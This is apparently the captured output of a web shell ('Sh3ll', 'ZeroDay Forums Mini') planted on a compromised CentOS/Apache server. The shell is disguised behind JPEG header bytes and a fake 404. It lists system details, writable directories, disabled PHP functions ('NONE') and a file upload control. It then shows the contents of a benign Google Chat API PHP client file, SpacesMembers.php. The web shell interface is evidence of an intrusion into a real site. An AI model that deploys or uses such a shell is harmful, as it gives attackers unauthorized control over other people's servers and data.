ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/vendor/google/apiclient-services/src/HangoutsChat/Resource/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/vendor/google/apiclient-services/src/HangoutsChat/Resource/SpacesMembers.php
<?php
/*
 * Copyright 2014 Google Inc.
 *
 * Licensed under the Apache License, Version 2.0 (the "License"); you may not
 * use this file except in compliance with the License. You may obtain a copy of
 * the License at
 *
 * http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
 * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
 * License for the specific language governing permissions and limitations under
 * the License.
 */

namespace Google\Service\HangoutsChat\Resource;

use Google\Service\HangoutsChat\ListMembershipsResponse;
use Google\Service\HangoutsChat\Membership;

/**
 * The "members" collection of methods.
 * Typical usage is:
 *  <code>
 *   $chatService = new Google\Service\HangoutsChat(...);
 *   $members = $chatService->spaces_members;
 *  </code>
 */
class SpacesMembers extends \Google\Service\Resource
{
  /**
   * Creates a human membership or app membership for the calling app. Creating
   * memberships for other apps isn't supported. For an example, see [ Create a
   * membership](https://developers.google.com/chat/api/guides/v1/members/create).
   * When creating a membership, if the specified member has their auto-accept
   * policy turned off, then they're invited, and must accept the space invitation
   * before joining. Otherwise, creating a membership adds the member directly to
   * the specified space. Requires [user
   * authentication](https://developers.google.com/chat/api/guides/auth/users). To
   * specify the member to add, set the `membership.member.name` in the
   * `CreateMembershipRequest`: - To add the calling app to a space or a direct
   * message between two human users, use `users/app`. Unable to add other apps to
   * the space. - To add a human user, use `users/{user}`, where `{user}` can be
   * the email address for the user. For users in the same Workspace organization
   * `{user}` can also be the `{person_id}` for the person from the People API, or
   * the `id` for the user in the Directory API. For example, if the People API
   * Person `resourceName` for `user@example.com` is `people/123456789`, you can
   * add the user to the space by setting the `membership.member.name` to
   * `users/user@example.com` or `users/123456789`. (members.create)
   *
   * @param string $parent Required. The resource name of the space for which to
   * create the membership. Format: spaces/{space}
   * @param Membership $postBody
   * @param array $optParams Optional parameters.
   * @return Membership
   */
  public function create($parent, Membership $postBody, $optParams = [])
  {
    $params = ['parent' => $parent, 'postBody' => $postBody];
    $params = array_merge($params, $optParams);
    return $this->call('create', [$params], Membership::class);
  }
  /**
   * Deletes a membership. For an example, see [Delete a
   * membership](https://developers.google.com/chat/api/guides/v1/members/delete).
   * Requires [user
   * authentication](https://developers.google.com/chat/api/guides/auth/users).
   * (members.delete)
   *
   * @param string $name Required. Resource name of the membership to delete. Chat
   * apps can delete human users' or their own memberships. Chat apps can't delete
   * other apps' memberships. When deleting a human membership, requires the
   * `chat.memberships` scope and `spaces/{space}/members/{member}` format. You
   * can use the email as an alias for `{member}`. For example,
   * `spaces/{space}/members/example@gmail.com` where `example@gmail.com` is the
   * email of the Google Chat user. When deleting an app membership, requires the
   * `chat.memberships.app` scope and `spaces/{space}/members/app` format. Format:
   * `spaces/{space}/members/{member}` or `spaces/{space}/members/app`.
   * @param array $optParams Optional parameters.
   * @return Membership
   */
  public function delete($name, $optParams = [])
  {
    $params = ['name' => $name];
    $params = array_merge($params, $optParams);
    return $this->call('delete', [$params], Membership::class);
  }
  /**
   * Returns details about a membership. For an example, see [Get a
   * membership](https://developers.google.com/chat/api/guides/v1/members/get).
   * Requires
   * [authentication](https://developers.google.com/chat/api/guides/auth). Fully
   * supports [service account
   * authentication](https://developers.google.com/chat/api/guides/auth/service-
   * accounts) and [user
   * authentication](https://developers.google.com/chat/api/guides/auth/users).
   * [User
   * authentication](https://developers.google.com/chat/api/guides/auth/users).
   * (members.get)
   *
   * @param string $name Required. Resource name of the membership to retrieve. To
   * get the app's own membership, you can optionally use
   * `spaces/{space}/members/app`. Format: `spaces/{space}/members/{member}` or
   * `spaces/{space}/members/app` When [authenticated as a
   * user](https://developers.google.com/chat/api/guides/auth/users), you can use
   * the user's email as an alias for `{member}`. For example,
   * `spaces/{space}/members/example@gmail.com` where `example@gmail.com` is the
   * email of the Google Chat user.
   * @param array $optParams Optional parameters.
   * @return Membership
   */
  public function get($name, $optParams = [])
  {
    $params = ['name' => $name];
    $params = array_merge($params, $optParams);
    return $this->call('get', [$params], Membership::class);
  }
  /**
   * Lists memberships in a space. For an example, see [List
   * memberships](https://developers.google.com/chat/api/guides/v1/members/list).
   * Listing memberships with [app
   * authentication](https://developers.google.com/chat/api/guides/auth/service-
   * accounts) lists memberships in spaces that the Chat app has access to, but
   * excludes Chat app memberships, including its own. Listing memberships with
   * [User
   * authentication](https://developers.google.com/chat/api/guides/auth/users)
   * lists memberships in spaces that the authenticated user has access to.
   * Requires
   * [authentication](https://developers.google.com/chat/api/guides/auth). Fully
   * supports [service account
   * authentication](https://developers.google.com/chat/api/guides/auth/service-
   * accounts) and [user
   * authentication](https://developers.google.com/chat/api/guides/auth/users).
   * [User
   * authentication](https://developers.google.com/chat/api/guides/auth/users).
   * (members.listSpacesMembers)
   *
   * @param string $parent Required. The resource name of the space for which to
   * fetch a membership list. Format: spaces/{space}
   * @param array $optParams Optional parameters.
   *
   * @opt_param string filter Optional. A query filter. You can filter memberships
   * by a member's role ([`role`](https://developers.google.com/chat/api/reference
   * /rest/v1/spaces.members#membershiprole)) and type ([`member.type`](https://de
   * velopers.google.com/chat/api/reference/rest/v1/User#type)). To filter by
   * role, set `role` to `ROLE_MEMBER` or `ROLE_MANAGER`. To filter by type, set
   * `member.type` to `HUMAN` or `BOT`. To filter by both role and type, use the
   * `AND` operator. To filter by either role or type, use the `OR` operator. For
   * example, the following queries are valid: ``` role = "ROLE_MANAGER" OR role =
   * "ROLE_MEMBER" member.type = "HUMAN" AND role = "ROLE_MANAGER" ``` The
   * following queries are invalid: ``` member.type = "HUMAN" AND member.type =
   * "BOT" role = "ROLE_MANAGER" AND role = "ROLE_MEMBER" ``` Invalid queries are
   * rejected by the server with an `INVALID_ARGUMENT` error.
   * @opt_param int pageSize Optional. The maximum number of memberships to
   * return. The service might return fewer than this value. If unspecified, at
   * most 100 memberships are returned. The maximum value is 1,000. If you use a
   * value more than 1,000, it's automatically changed to 1,000. Negative values
   * return an `INVALID_ARGUMENT` error.
   * @opt_param string pageToken Optional. A page token, received from a previous
   * call to list memberships. Provide this parameter to retrieve the subsequent
   * page. When paginating, all other parameters provided should match the call
   * that provided the page token. Passing different values to the other
   * parameters might lead to unexpected results.
   * @opt_param bool showInvited Optional. When `true`, also returns memberships
   * associated with invited members, in addition to other types of memberships.
   * If a filter is set, invited memberships that don't match the filter criteria
   * aren't returned. Currently requires [user
   * authentication](https://developers.google.com/chat/api/guides/auth/users).
   * @return ListMembershipsResponse
   */
  public function listSpacesMembers($parent, $optParams = [])
  {
    $params = ['parent' => $parent];
    $params = array_merge($params, $optParams);
    return $this->call('list', [$params], ListMembershipsResponse::class);
  }
}

// Adding a class alias for backwards compatibility with the previous class name.
class_alias(SpacesMembers::class, 'Google_Service_HangoutsChat_Resource_SpacesMembers');

ZeroDay Forums Mini